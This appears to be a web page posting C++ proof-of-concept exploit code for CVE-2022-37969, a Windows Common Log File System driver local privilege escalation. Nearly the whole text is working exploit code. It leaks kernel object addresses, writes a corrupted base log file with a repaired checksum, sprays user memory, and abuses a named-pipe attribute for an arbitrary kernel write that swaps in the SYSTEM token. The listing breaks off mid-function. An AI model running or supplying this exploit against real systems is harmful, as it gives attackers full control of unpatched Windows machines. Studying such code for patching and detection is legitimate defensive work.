CVE-2022-37969 Windows CLFS Local Privilege Escalation PoC

 

CVE-2022-37969 is an out-of-bounds write vulnerability in the common log file system driver clfs, through which privilege escalation can be completed.

clfs is a general logging subsystem that can be used to build logs in both kernel mode and user mode. Logs are generated in the basic log file blf.

EXP:

// Understanding the CVE-2022-37969 Windows Common Log File System Driver Local Privilege Escalation. 
// Authors: www.chwm.vip

#pragma warning (disable : 4005)

#include <stdio.h>
#include <iostream>
#include <windows.h>
#include <clfsw32.h>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <tlhelp32.h>
#include "ntos.h"
#include "crc32.h"

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Clfsw32.lib")

/*
Windows Server 2016 Standard ------>
Windows Server 2019 Standard ------> 17763 token offset: 0x4b8
Windows Server 2022 Standard ------> 20348 token offset: 0x4b8
Windows 10 Pro Version 21H1 -------> 19041 19043 offset: 0x4b8
Windows 10 Pro Version 21H2 -------> 19041 offset: 0x4b8
Windows 11 Pro Version 21H2 -------> 22000 token offset: 0x4b8
*/

//
// NT syscalls
//
#define SystemModuleInformation 0xb
#define SystemHandleInformation 0x10

typedef struct _SYSTEM_BIGPOOL_ENTRY {
	union {
		PVOID VirtualAddress;
		ULONG_PTR NonPaged : 1;
	};
	SIZE_T SizeInBytes;
	union {
		UCHAR Tag[4];
		ULONG TagUlong;
	};
} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;

typedef struct _SYSTEM_BIGPOOL_INFORMATION {
	ULONG Count;
	SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;

typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);

typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);

_NtQuerySystemInformation fnNtQuerySystemInformation = NULL;
_NtWriteVirtualMemory fnNtWriteVirtualMemory = NULL;

//
// Leaked addresses
//
DWORD64 g_EProcessAddress = 0;
DWORD64 g_EThreadAddress = 0;
DWORD64 g_TokenAddress, my_pidEprocess = 0;

//
// Version dependent offsets
//
#define OFFSET_OF_PREVIOUS_MODE 0x232
#define OFFSET_OF_WIN32PROCESS 0x3b0
#define OFFSET_OF_SEP_TOKEN_PRIVILEGES 0x40
#define OFFSET_OF_DCOMPOSITIONPROCESS 0x100


//
// CInteractionTrackerMarshaler object offsets
//
#define OFFSET_OF_FUNCTION 0x50
#define OBJECT_SIZE 0x1a0
typedef NTSTATUS func(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
// Global Variables 
IO_STATUS_BLOCK v30;
IO_STATUS_BLOCK v31;
UINT64 offset_SeSetAccess = 0;
func* _NtFsControlFile;
UINT64 fnSeSetAccessStateGenericMapping = 0;
UINT64 offset_ClfsEarlier = 0;
UINT64 fnClfsEarlierLsn = 0;
CHAR clfs_path[] = { "\\SystemRoot\\System32\\drivers\\CLFS.SYS" };
FARPROC v22b = NULL;
UINT64 ntos_kernelBase = NULL;
UINT64 clfs_kernelBase = NULL;
WCHAR* stored_env_xfname = { 0 };
UINT64 v14 = 0;
UINT64 v15 = 0;
WCHAR* stored_env_containerfname = { 0 };
WCHAR* stored_env_containerfname2 = { 0 };
WCHAR* stored_env_containerfname3 = { 0 };
DWORD* hReadPipe[2] = { 0 };
UINT64 System_token_value = 0;
int numread;
#define NUMELEM 0x7a00
char buff[0x7a00];
INT64 v22 = 0;
INT64 v23 = 0;
INT64 v26 = 0;
INT64 v24 = 0;
INT64 v31b  = 0;
INT64 v32 = 0;
UINT num_of_CLFS = 0;
PUINT p_num_of_CLFS = &num_of_CLFS; // number of CLFS tags
CHAR tag[] = { "Clfs" };
PUINT64 v10 = 0; // Offset of last field virtual address
int v9 = 0; // stores the amount of bigpool clfs tags
WCHAR* stored_env_fname;
DWORD _pid = 0;
DWORD pid_to_find = 0;
int token_offset = 0;
LONGLONG token_value = 0;
int winversion = 0;
WCHAR* stored_env_open;
WCHAR* foldr = nullptr;
DWORDLONG system_EPROCESS = 0;
PUINT64 kernelAddrArray = 0;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HANDLE hToken = NULL;
HMODULE user32 = NULL;
int flag = 0;
int flag2 = 0;
UINT64 dest2 = 0;
UINT64 dest3 = 0;
UINT64 value2 = 0;
UINT64* value3 = 0;
UINT64 next_token;

// Get OS version to get TOKEN offsets
int getOSversion() {
	char buff[100];
	HKEY hKey;
	DWORD cType;
	wchar_t lpData[1024] = { 0 };
	DWORD buffersize = sizeof(lpData);
	int tokenOffset = 0;

	memset(buff, 0, sizeof(buff));  // clear buffer

	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"), NULL, KEY_READ, &hKey) == ERROR_SUCCESS)
	{
		printf("[+] Registry key Opened successfully\n");
	}
	else {
		printf("[!] Failed to open reg key: %s\n", GetLastError());
		exit(1);
	}

	RegQueryValueExW(hKey, TEXT(L"CurrentBuild"), NULL, &cType, (LPBYTE)lpData, &buffersize);

	RegCloseKey(hKey);

	// convert unicode to ansi
	WideCharToMultiByte(CP_UTF8, 0, lpData, -1, (LPSTR)buff, 0x80, 0, 0);

	// convert string to int
	winversion = atoi(buff);

	wprintf(L"[+] Windows Build Number: %i\n", winversion);

	// check if versions are supported

	if (winversion >= 17763 && winversion <= 22000) {
		token_offset = 0x4b8;  // store the token offset
	}
	else {
		printf("[!] Version %d not supported. Exiting...\n", winversion);
	}

	return 0;
}

SIZE_T GetObjectKernelAddress(HANDLE Object)
{
	PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
	ULONG	handleInfoSize = 0x1000;
	ULONG	retLength;
	NTSTATUS status;
	SIZE_T kernelAddress = 0;
	BOOL bFind = FALSE;

	while (TRUE)
	{
		handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);

		status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);

		if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH
		{
			LocalFree(handleInfo);

			handleInfoSize = retLength + 0x100;
			handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);

			status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);

			if (NT_SUCCESS(status))
			{
				for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++)
				{
					if ((USHORT)Object == 0x4)
					{
						if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
						{

							kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
							bFind = TRUE;
							break;
						}
					}
					else
					{
						if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
						{
							kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
							bFind = TRUE;
							break;
						}
					}
				}
			}

		}

		if (handleInfo)
			LocalFree(handleInfo);

		if (bFind)
			break;
	}

	return kernelAddress;
}

VOID InitEnvironment()
{

	//
	// Resolve NT syscalls
	//
	fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");

	DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS);
	//	printf("[+] HPROCESS %p\n", hProcess);
	g_EProcessAddress = GetObjectKernelAddress(hProcess);
	printf("[+] MY EPROCESSS %p\n", g_EProcessAddress);

	system_EPROCESS = GetObjectKernelAddress((HANDLE)4);
	printf("[+] SYSTEM EPROCESSS %p\n", system_EPROCESS);

	return;
}


int checkAccessToken() {
	int v8 = 0; // todavia no se que es
	PHANDLE TokenHandle = 0; // 
	int savedHprocess = 0;
	NTSTATUS status2;
	ULONG size2;
	NTSTATUS status3;
	UINT64 v11 = 0;
	PUINT v12 = 0;

	user32 = LoadLibraryW(L"user32.dll");
	int currentpid = GetCurrentProcessId();

	hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, currentpid);
	if (!hProcess) {
		printf("[!] OpenProcess failed with error %d\n", GetLastError());
	}
	printf("[+] hProcess: 0x%x\n", hProcess);

	savedHprocess = (UINT)hProcess;

	if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hProcess)) {
		printf("[!] OpenProcessToken failed with error %d\n", GetLastError());
		return 0;
	}
	TokenHandle = &hProcess;
	printf("[+] Token handle: 0x%x\n", TokenHandle);


	VOID* v10 = malloc(0x20);
	if (!v10) { exit(1); }

	status2 = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, 32, &size2);
	if (!*(PUINT)v10) {
		exit(1);
	}

	if (status2 == 0xC0000004 || NT_SUCCESS(status2)) // STATUS_INFO_LENGTH_MISMATCH
	{
		LocalFree(v10);
		v10 = malloc(size2);

		printf("[+] Structure Address %p\n", v10);
		status3 = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, size2, &size2);
		printf("[+] Number of Handles: 0x%x\n", *(PULONG)v10);
	}


	v12 = (PUINT)v10 + 3;
	printf("[+] Direccion: 0x%p  pid: %x\n", (v12 - 1), *(v12 - 1));


	while (*(v12 - 1) != GetCurrentProcessId() || *(BYTE*)v12 != 5 || *(PUINT16)TokenHandle != *(PUINT16)((PCHAR)v12 + 2)) {
		//				printf("pasada %d\n",  v11);

		v11++;
		v12 = (PUINT)v12 + 6;
		//					printf("v12 = %p\n", v12);

		if (v11 >= *(PUINT)v10) {
			printf("[+] Termino\n");
			break;
		}

	}
	printf("[+] Valor: %x\n", *(PUINT16)v12);
	printf("[+] Salida del while\n");
	return 0;
}

int createInitialLogFile() {

	WCHAR* foldr = nullptr;
	size_t sz = 0;
	if (_wdupenv_s(&foldr, &sz, L"PUBLIC") == 0 && foldr != nullptr)
	{
		printf("[+] Variable = %ls\n", foldr);
		//       free(foldr);

	}

	WCHAR* tmp_env = (WCHAR*)malloc(0x1000);
	WCHAR* stored_env = tmp_env; // where Public environment variable is stored
	memset(tmp_env, 0, 0x1000);  // 

	wsprintfW(stored_env, L"%s", foldr);  // C:\Users\Public
	//   printf("variable 1 stored_env unicode: %ls\n", stored_env);

	WCHAR* tmp_env2 = (WCHAR*)malloc(0x1000);
	WCHAR* stored_env_log = tmp_env2; // where Public environment variable is stored
	memset(tmp_env2, 0, 0x1000);

	wsprintfW(stored_env_log, L"LOG:%s", stored_env);
	   printf("variable 2 stored_env_log unicode + log: %ls\n", stored_env_log); //LOG:C:\Users\Public

	WCHAR* tmp_env3 = (WCHAR*)malloc(0x1000);
	stored_env_fname = tmp_env3; // where Public environment variable is stored
	memset(tmp_env3, 0, 0x1000);

	wsprintfW(stored_env_fname, L"%s\\MyLog", stored_env_log);
	   printf("variable 3 stored_env_fname unicode fname: %ls\n", stored_env_fname); // LOG:C:\Users\Public\MyLog

	WCHAR* tmp_env4 = (WCHAR*)malloc(0x1000);
	stored_env_open = tmp_env4; // where Public environment variable is stored
	memset(tmp_env4, 0, 0x1000);

	wsprintfW(stored_env_open, L"%s\\MyLog.blf", stored_env);  // C:\Users\Public\MyLog.blf
	//   printf("variable 4 stored_env_open unicode: %ls\n", stored_env_open);

	WCHAR* tmp_env5 = (WCHAR*)malloc(0x1000);
	stored_env_xfname = tmp_env5; // where Public environment variable is stored
	memset(tmp_env5, 0, 0x1000);

	wsprintfW(stored_env_xfname, L"%s\\MyLxg", stored_env_log);
	//   printf("variable 5 stored_env_fname unicode xfname: %ls\n", stored_env_xfname); // LOG:C:\Users\Public\MyLxg

	WCHAR* tmp_env6 = (WCHAR*)malloc(0x1000);
	WCHAR* tmp_env7 = (WCHAR*)malloc(0x1000);
	WCHAR* tmp_env8 = (WCHAR*)malloc(0x1000);

	stored_env_containerfname = tmp_env6; // where Public environment variable is stored
	memset(tmp_env6, 0, 0x1000);
	stored_env_containerfname2 = tmp_env7; // where Public environment variable is stored
	memset(tmp_env6, 0, 0x1000);
	stored_env_containerfname3 = tmp_env8; // where Public environment variable is stored
	memset(tmp_env6, 0, 0x1000);

	srand(time(NULL));
	int v56 = rand();

	printf("random part name of the container %d\n", v56);

	wsprintfW(stored_env_containerfname, L"%s\\.container_1%d", stored_env, v56);
	wsprintfW(stored_env_containerfname2, L"%s\\.container_1%d", stored_env, (v56+1));
	wsprintfW(stored_env_containerfname3, L"%s\\.container_1%d", stored_env, (v56 + 2));
	//   printf("variable 6 stored_env_containerfname unicode: %ls\n", stored_env_containerfname);// C:\\Users\\Public\\.container_1%d" + nro random
	  // getchar();

	   // 1. Create a base log file MyLog.blf in the folder C:\Users\Public\ via the CreateLogFile API

	HANDLE logFile = CreateLogFile(stored_env_fname, GENERIC_READ | GENERIC_WRITE, 1, 0, 4, 0);
	if (logFile == (HANDLE)-1) {
		DWORD error = GetLastError();
		//       printf("Could not create log file, error: 0x%x\n", error);
		exit(-1);
	}
	printf("[+] Log file created with handle --> 0x%x\n", logFile);
	CloseHandle(logFile);
	//getchar();
	return 0;
}

// SystemBigPoolInformation

int getBigPoolInfo(PUINT64 _a2)
{
	UINT64 v7 = 0;
	UINT v8 = 0; // counter
	UINT64 v11 = 0;
	ULONG retlen = 0;
	PUINT64 v15 = 0;
	ULONG v4 = 0;
	DWORD* v5;
	UINT v6 = 0;

	DWORD* v3 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4);
	if (fnNtQuerySystemInformation(SystemBigPoolInformation, v3, 0x1000, &retlen) == 0xC0000004)
	{
		while (1)
		{
			VirtualFree(v3, 0, 0x8000);
			v4 = retlen;
			v5 = (DWORD*)VirtualAlloc(0, (SIZE_T)retlen, 0x1000, 4);
			v3 = v5;
			if (!v5)
			{
				printf("[+] Error Allocating Memory\n");
				break;
			}

			if (fnNtQuerySystemInformation(SystemBigPoolInformation, v5, v4, &retlen) != 0xC0000004)
			{
				goto label_4;
			}
			else {
				break;
			}

		}
		//printf("[+] Error Allocating Memory\n");
	}
	else {
	label_4:
		v6 = (UINT) * (PUINT)v3; // v6 is the field count on the SYSTEM_BIGPOOL_INFORMATION
		//	printf("[+] Field Count --> %x\n", v6);

		if (flag2 == 0) {
			kernelAddrArray = (PUINT64)malloc(v6 * 8);
			printf("Kernel addresss array %p", kernelAddrArray);
			memset(kernelAddrArray, 0, (v6 * 8));
			flag2++;
		}

		if (v6)
		{
			v9 = *p_num_of_CLFS;
			v10 = (PUINT64)&v3[4 * v6 - 4 + 2 * v6];
			//		printf("[+] LAST SYSTEM BIG POOL ENTRY OFFSET --> %p\n", v10); // offset to the last SYSTEM_BIGPOOL_ENTRY

			do {
				v11 = *v10 & 0xFFFFFFFFFFFFFFFE;
				//	printf("[+] First field value of BIG POOL ENTRY structure, named Virtual Address --> %p\n", v11);
				if ((*v10 & 1) == 0)
				{
					v11 = *v10;
				}
				if (v10[1] == 0x7a00)  // search for the clfs base log file size
				{
					UINT v12 = 0;
					while (1)
					{
						CHAR v13 = tag[v12++];
						if (v13 != *((BYTE*)v10 + v12 + 15))
						{
							break;
						}

						if (v12 == 5) // tag Clfs found !
						{
							UINT v14 = 0;

							if (v9 <= 0)
							{
							label_16:
								UINT v16 = v9++;
								kernelAddrArray[v16] = v11;


								if (_a2)
								{
									++v8;
									*_a2 = v11;
								}
							}
							else
							{
								v15 = kernelAddrArray;
								while (*v15 != v11)
								{
									++v14;
									++v15;
									if (v14 >= v9) {
										goto label_16;
									}
								}
							}
							break;
						}

					}
				}
				++v7;
				v10 -= 3; // back 0x18 to previous System Big Pool Entry to find the 0x7a00
			} while (v7 < v6); // it compares the counter against the field count of SYSTEM_BIGPOOL_INFORMATION

			*p_num_of_CLFS = v9;
		}
		//printf("[+] Variables: v8 = %x   v9 = %x\n", v8, v9);
		//printf("[+] Kernel Addresses array --> %p\n", kernelAddrArray);
		if (_a2 && v8 == 0) {
			printf("[+] Not found available chunk\n");
			exit(1);
		}
		VirtualFree(v3, 0, 0x8000);
	}
	return 0;
}

VOID GetOffsetBetweenPools() {
	UINT64 a2 = 0;
	PUINT64 p_a2 = &a2;

	WCHAR* buf = (WCHAR*)malloc(0x1000);
	do
	{
		while (1)
		{
			while (1)
			{
				do
				{
					HANDLE logFile1;
					do
					{
						v26 = v24;
						memset(buf, 0, 0x1000);
						unsigned int rnum = rand();
						wsprintfW((LPWSTR)buf, L"%s_%d", stored_env_fname, rnum);
						logFile1 = CreateLogFile((LPWSTR)buf, 0xc0010000, 3, 0, 4, 0);
					} while (logFile1 == (HANDLE)-1);

					int* handleArray = (INT*)malloc(4);
					*handleArray = (INT)logFile1;
					getBigPoolInfo(p_a2); // SystemBigPoolInformation
					//		printf("[+] Last BigPoolAddress of Clfs tag --> %p\n [+]Total Clfs tags --> 0x%x\n", a2, num_of_CLFS);

					v24 = p_a2[0];


				} while (!v26);

				v31b = p_a2[0] - v26;
				v32 = v26 - p_a2[0];

				if (v31b > 0) {
					v32 = v31b;
				}
						//printf("[+] Distancia --> %x\n", v32);
				if (v23) break;
				v23 = v32;
			}

			if (v23 == v32) break;
			v22 = 0;
			v23 = v32;
		}

		++v22;
	} while (v22 < 5);
	//	printf("[+] v22 --> %p\n", v22);
	return;
}

VOID craftFile() {
	FILE* pfile;

	char checkSum[] = { 0x00, 0x00, 0x00, 0x00 }; // {0x59, 0xdf, 0x44, 0x06}; // offset 0x80c
	char signaturOffset[] = { 0x50, 0x00, 0x00, 0x00 }; // offset 0x868
	char ccoffsetArray[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x9a8
	char cbsymbolZone[] = { 0x4b, 0x11, 0x01, 0x00 }; // offset 0x1b98
	char blockNameoffset[] = { 0xb8, 0x1b, 0x00, 0x00 }; // offset 0x2390
	char blockAtributeoffset[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x2394
	char fakeClientcontext[] = { 0x07, 0xf0, 0xfd, 0xc1, 0x88 }; // offset 0x23a0
	char fakeClientcontext2[] = { 0x01, 0x00, 0x00, 0x00 }; // offset 0x23ab
	char fakeClientcontext3[] = { 0x20, 0x00, 0x00, 0x00 }; // offset 0x2418


	_wfopen_s(&pfile, stored_env_open, L"r+");
	if (pfile == 0) {
		printf("Cant't open file, error %x\n", GetLastError());
		//	getchar();
		exit(1);
	}
	printf("[+] file successfully opened\n");


	fseek(pfile, 0x80c, SEEK_SET);
	fwrite(checkSum, sizeof(char), sizeof(checkSum), pfile);

	fseek(pfile, 0x868, SEEK_SET);
	fwrite(signaturOffset, sizeof(char), sizeof(signaturOffset), pfile);

	fseek(pfile, 0x9a8, SEEK_SET);
	fwrite(ccoffsetArray, sizeof(char), sizeof(ccoffsetArray), pfile);

	fseek(pfile, 0x1b98, SEEK_SET);
	fwrite(cbsymbolZone, sizeof(char), sizeof(cbsymbolZone), pfile);

	fseek(pfile, 0x2390, SEEK_SET);
	fwrite(blockNameoffset, sizeof(char), sizeof(blockNameoffset), pfile);

	fseek(pfile, 0x2394, SEEK_SET);
	fwrite(blockAtributeoffset, sizeof(char), sizeof(blockAtributeoffset), pfile);

	fseek(pfile, 0x23a0, SEEK_SET);
	fwrite(fakeClientcontext, sizeof(char), sizeof(fakeClientcontext), pfile);

	fseek(pfile, 0x23ab, SEEK_SET);
	fwrite(fakeClientcontext2, sizeof(char), sizeof(fakeClientcontext2), pfile);

	fseek(pfile, 0x2418, SEEK_SET);
	fwrite(fakeClientcontext3, sizeof(char), sizeof(fakeClientcontext3), pfile);

	fclose(pfile);


	printf("[+] Archivo modificado !\n");

	return;
}

int crcCalculatorAndFix() {

	uint32_t table[256];
	crc32::generate_table(table);

	// Struct, for piece-by-piece, bytewise
	struct DataStruct {
		uint16_t data1;
		uint16_t data2;
		float mypi;
		uint32_t myclock;
		bool begun;
	};
#define SIZE 1
	FILE* fd = NULL;
	memset(buff, 0, sizeof(buff));

	_wfopen_s(&fd, stored_env_open, L"rb");
	fseek(fd, 0x800, SEEK_SET);


	numread = fread(buff, SIZE, NUMELEM, fd);
	fclose(fd);

	*((DWORD*)(buff + 0xc)) = 0;

	//    printf("NUMBER OF BYTES READ= %x\n", numread);

	if (numread != NUMELEM)
	{
		//       printf("\n fread() failed\n");
		return 1;
	}


	char* ptr = (char*)&buff;
	uint16_t slen = sizeof(buff);
	//    printf("Size of Data struct is: %x\n", slen);                 // 16 bytes

	uint32_t CRC = 0;
	for (int cnt = 0; cnt < slen; cnt++) {
		CRC = crc32::update(table, CRC, ptr, 1);
		ptr++;
	}

	//    printf("Piece-wise crc32 of struct Data is: 0x%X \n", CRC);       // 0x6A8E18CE

	_wfopen_s(&fd, stored_env_open, L"r+");
	fseek(fd, 0x80c, SEEK_SET);
	fwrite(&CRC, 1, 4, fd);
	fclose(fd);

	return 1;
}

int doHeapSpray() {

	UINT64 alloc00 = 0x5000000;
	UINT64 alloc01 = 0x10000;


	if (!VirtualAlloc((LPVOID)alloc00, 0x100000, 0x3000, 4)) {
		printf("[-] Failed to allocate memory\n");
		return 0;
	}
	if (!VirtualAlloc((LPVOID)0x10000, 0x1000000, 0x3000, 4)) {
		DWORD lastError = GetLastError();
		printf("[-] Failed to allocate memory at address 0x1000\n");
		return 0;
	}
	for (int i = 0; i < 0x1000000; i += 0x10)
		*(UINT64*)(i + 0x10000) = 0x5000000;
	printf("[+] Successful allocated at 0x10000\n");
	//	getchar();
	return 0;
}

VOID FindKernelModulesBase()
{

	UINT64 retval = 0;
	HANDLE hHeap = GetProcessHeap();
	LPVOID lpHeapBuffer = HeapAlloc(hHeap, 0, 0x2000);
	DWORD dwBytesReturned = 0;

	if (!lpHeapBuffer) {
		return;
	}

	NTSTATUS status = fnNtQuerySystemInformation(
		(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
		lpHeapBuffer,
		0x2000,
		&dwBytesReturned
	);

	// realloc and try again
	// todo: add switch case for status
	if (!NT_SUCCESS(status)) {
		HeapFree(hHeap, 0, lpHeapBuffer);
		lpHeapBuffer = HeapAlloc(hHeap, 0, dwBytesReturned);

		if (!lpHeapBuffer) {
			return;
		}

		memset(lpHeapBuffer, 0, dwBytesReturned);

		status = fnNtQuerySystemInformation(
			(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
			lpHeapBuffer,
			dwBytesReturned,
			&dwBytesReturned
		);

		if (!NT_SUCCESS(status)) {
			return;
		}
	}

	PSYSTEM_MODULE_INFORMATION psm = (PSYSTEM_MODULE_INFORMATION)lpHeapBuffer;
	if (psm->NumberOfModules > 0) {
		retval = (UINT64)psm->Modules[0].ImageBase;
		//HeapFree(hHeap, 0, lpHeapBuffer);
		ntos_kernelBase = retval;

	}

	int i = 0;
	for (i = 0; i < psm->NumberOfModules; i++)
	{
		if (!strncmp(clfs_path, (CHAR*)psm->Modules[i].FullPathName, strlen(clfs_path)))  break;
	}
	printf("[+] Module name --> %s\n", psm->Modules[i].FullPathName);

	clfs_kernelBase = (UINT64)psm->Modules[i].ImageBase;
	return;
}

int pipeArbitraryWriteValues() {
	
	VOID* v9a = 0;
	//	UINT64 v10 = 0;
	ULONG retlen2 = 0;
	DWORD* v10 = 0;
	v10 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4);
	FARPROC v22a = NULL;
	
	UINT PIPE_ATTR_TAG = 0x7441704E;

	//printf("Please Attach me\n");
	//getchar();

	HMODULE nt = GetModuleHandleA("ntdll");
	

	_NtFsControlFile = (func*)GetProcAddress(nt, "NtFsControlFile");
	if (!_NtFsControlFile) exit(1);

	printf("[+] NtFsControlFile Address --> %p\n", _NtFsControlFile);

	if (CreatePipe((PHANDLE)&hReadPipe[1], (PHANDLE)&hReadPipe[0], 0, 0x1000))
	{
		printf("[+] hReadPipe --> %x\n[+] hWritePipe --> %x\n", hReadPipe[1], hReadPipe[0]);

		v9a = _malloc_base(0x2000);
		memset((UINT64*)v9a + 1, 0x41, 0xffe);
		*(UINT64*)v9a = 0x5a; // "Z"

		VOID* dest = malloc(0x100);
		memset(dest, 0x42, 0xff);

		_NtFsControlFile(hReadPipe[0], 0, 0, 0, &v30, 0x11003c, v9a, 0xfd8, dest, 0x100);

		fnNtQuerySystemInformation(SystemBigPoolInformation, v10, 0x1000, &retlen2);

		DWORD* v5a = (DWORD*)VirtualAlloc(0, (SIZE_T)retlen2, 0x1000, 4);

		//	fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2);


			// find Attribute Tag inside the Pool

		NTSTATUS status = STATUS_SUCCESS;
		if (NT_SUCCESS(status = fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2))) {
			PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(v5a);
			for (ULONG i = 0; i < pBuf->Count; i++) {
				__try {
					if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) {
						printf("[+] VirtualAddress -->%p\n[+] Tag --> %s\n", pBuf->AllocatedInfo[i].VirtualAddress, &pBuf->AllocatedInfo[i].TagUlong);
						v30.Pointer = pBuf->AllocatedInfo[i].VirtualAddress;
						break;
					}
				}
				__except (EXCEPTION_EXECUTE_HANDLER) {
					printf("(%s) Access Violation was raised.", __FUNCTION__);
				}
			}
		}


		printf("[+] SystemEprocess --> %p\n", system_EPROCESS);
		printf("[+] v14 --> %p\n", system_EPROCESS & 0xfff);
		printf("[+] v15 --> %p\n", system_EPROCESS & 0xfffffffffffff000);

		v14 = system_EPROCESS & 0xfff;
		v15 = system_EPROCESS & 0xfffffffffffff000;


		dest2 = 0xffffffff;
		dest3 = 0x100000007;
		value2 = 0x414141414141005A;
		value3 = 0;
		value3 = &value2;

		if (VirtualAlloc((LPVOID)dest2, 0x100000, 0x3000, 4))
		{
			memset((LPVOID)dest3, 0, 0xff8);
			*(UINT64*)dest2 = v15;


			CHAR* v16a = (CHAR*)v30.Pointer + 24; // this address should point to AttributeValueSize in kernel pool
			printf("[+] v30.Pointer --> %p\n[+] v30.Pointer+24 --> %p\n", (CHAR*)v30.Pointer, v16a);

			*(UINT64*)dest3 = value2;

			for (int i = 8; i < 0x1000000; i += 0x10)
			{
				*(UINT64*)(i + 0x10000) = (UINT64)v16a;
			}

			HMODULE CLFS_userBase = LoadLibraryExW(L"C:\\Windows\\System32\\drivers\\CLFS.SYS", 0, 1);
			if (CLFS_userBase)
			{
				v22b = GetProcAddress(CLFS_userBase, "ClfsEarlierLsn");

			}


			HMODULE ntos_userBase = LoadLibraryExW(L"ntoskrnl.exe", 0, 1);
			if (ntos_userBase)
			{
				v22a = GetProcAddress(ntos_userBase, "SeSetAccessStateGenericMapping");
			}


			FindKernelModulesBase();


			printf("[+] NTOSKRNL base on user  -------------------------> %p\n", ntos_userBase);
			printf("[+] NTOSKRNL base on Kernel ------------------------> %p\n", ntos_kernelBase);
			printf("[+] SeSetAccessStateGenericMapping user address ----> %p\n", v22a);
			offset_SeSetAccess = (UINT64)v22a - (UINT64)ntos_userBase;
			printf("[+] Offset SeSetAccessStateGenericMapping ----------> %p\n", offset_SeSetAccess);
			fnSeSetAccessStateGenericMapping = ntos_kernelBase + offset_SeSetAccess;
			printf("[+] SeSetAccessStateGenericMapping kernel address --> %p\n\n", fnSeSetAccessStateGenericMapping);


			printf("[+] CLFS.SYS base on user  -------------------------> %p\n", CLFS_userBase);
			printf("[+] CLFS base on Kernel  ---------------------------> %p\n", clfs_kernelBase);
			printf("[+] ClfsEarlierLsn user address --------------------> %p\n", v22b);
			offset_ClfsEarlier = (UINT64)v22b - (UINT64)CLFS_userBase;
			printf("[+] Offset ClfsEarlierLsn --------------------------> %p\n", offset_ClfsEarlier);
			fnClfsEarlierLsn = clfs_kernelBase + offset_ClfsEarlier;
			printf("[+] ClfsEarlierLsn kernel address ------------------> %p\n", fnClfsEarlierLsn);

			return 0;

		}
	}

}

int pipeArbitraryWrite() {
	HANDLE v51 = 0;

			if (fnClfsEarlierLsn)
			{
				*(PUINT64)(0x5000018) = fnClfsEarlierLsn;
				*(PUINT64)(0x5000000) = 0x123456789;
				*(PUINT64)(0x5000008) = fnSeSetAccessStateGenericMapping;

				if (flag == 1){
					//Arranging the memory for second attempt

						*(UINT64*)dest2 = System_token_value;		
						*(UINT64*)dest3 = next_token;
						UINT64 Token_address_current_minus_8 = g_EProcessAddress + 0x4b8 - 8;

						printf("ADDRESS of MY PROCESSS TOKEN -8= %p\n", Token_address_current_minus_8);


						for (int i = 8; i < 0x1000000; i += 0x10)
						{
						  *(UINT64*)(i + 0x10000) = (UINT64)Token_address_current_minus_8;
						}

						*(UINT64*)(0x5000000) = 0x123456789;
						*(UINT64*)(0x5000018) = fnClfsEarlierLsn;
						*(UINT64*)(0x5000008) = fnSeSetAccessStateGenericMapping;
				}


				//   printf("attach\n");
					  v51 = CreateLogFile(stored_env_fname, 0xC0010000, 3u, 0i64, 4, 0); // 0xc0010000 #gets a handle of MyLog.blf
				//    printf("OK 0x%x\n", v51);
			    srand(time(NULL));
				int v53 = rand();
				WCHAR* v25 = (WCHAR*)malloc(0x1000);
				WCHAR* v85 = v25;
				memset(v25, 0, 0x1000);
				wsprintfW(v85, L"%s_%d", stored_env_xfname, v53);

				/* 4. Call the CreateLogFile API to create a base log file MyLxg_xxx.blf in the folder C:\Users\Public\. */
